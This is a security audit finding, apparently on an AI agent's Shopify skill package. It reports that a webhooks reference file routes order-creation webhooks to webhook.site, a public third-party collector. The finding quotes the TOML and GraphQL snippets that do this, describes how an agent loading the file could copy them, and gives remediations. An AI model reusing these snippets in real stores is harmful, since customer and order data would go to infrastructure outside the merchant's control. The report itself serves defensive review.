other
- Location
references/DOC_WEBHOOKS.md:13- Finding
Third-Party Disclosure of Shopify Order Webhook Data
- Content
View full analysis
Vulnerability Details
File Location:
references/DOC_WEBHOOKS.md, lines 13–17, with repeated vulnerable examples at lines 21–25, 29–33, and 55–66
Vulnerability Type: Sensitive Data Exfiltration
Risk Level: HighComplete vulnerable code snippet:
toml [[webhooks.subscriptions]] topics = ["orders/create"] uri = "https://webhook.site/webhooks/o/app/orders-create"The same unsafe destination pattern is also used in the GraphQL variables:
json { "topic": "ORDERS_CREATE", "webhookSubscription": { "uri": "https://webhook.site/webhooks/app/orders-create", "format": "JSON" } }Technical Analysis
The documentation configures Shopify's
orders/createwebhook to send event payloads towebhook.site, a real third-party request-collection service. This is not a non-routable placeholder or an endpoint demonstrated as being controlled by the merchant or application operator.If an agent or developer copies the example into
shopify.app.toml, or uses the documented authenticated GraphQL mutation with the supplied variables, Shopify will deliver subsequent order events to infrastructure outside the merchant's control. Order webhook payloads can include sensitive order and customer information.The reference does not identify the endpoint as test-only, warn against using public request-bin services with production data, or require confirmation that the destination is controlled by the merchant or application owner. This also conflicts with
references/SAFETY.md, which explicitly identifies customer and order data as sensitive.The external destination is unnecessary for the Skill's declared Shopify guidance functionality. A clearly fictional application-controlled endpoint would teach the same configuration without introducing a data-disclosure path.
Attack Path
- An agent loads
references/DOC_WEBHOOKS.mdwhile implementing Shopify webhooks. - The agent ...[truncated 1185 chars]
- An agent loads
- Remediation
View remediation
Remediation Suggestions
-
Replace every
webhook.siteURI with a clearly fictional, application-controlled example, such as:toml [[webhooks.subscriptions]] topics = ["orders/create"] uri = "https://app.example.com/webhooks/orders-create" -
Update the GraphQL variables example to use the same controlled placeholder domain.
-
Add an explicit warning that public request-bin and webhook inspection services must not receive production customer, order, or payment-related data.
-
Require confirmation that the destination host is controlled and authorized by the merchant or application operator before registering a webhook.
-
Recommend destination allowlisting and environment-specific webhook endpoints so test and production subscriptions cannot be confused.
-
Document Shopify webhook signature verification, HTTPS enforcement, replay protection, request-size limits, logging redaction, and data-retention controls.
-
Advise users to review existing subscriptions and immediately remove any webhook that points to an unauthorized third-party host.
-
Minimize subscribed topics and retained payload fields according to the application's actual operational requirements.
-
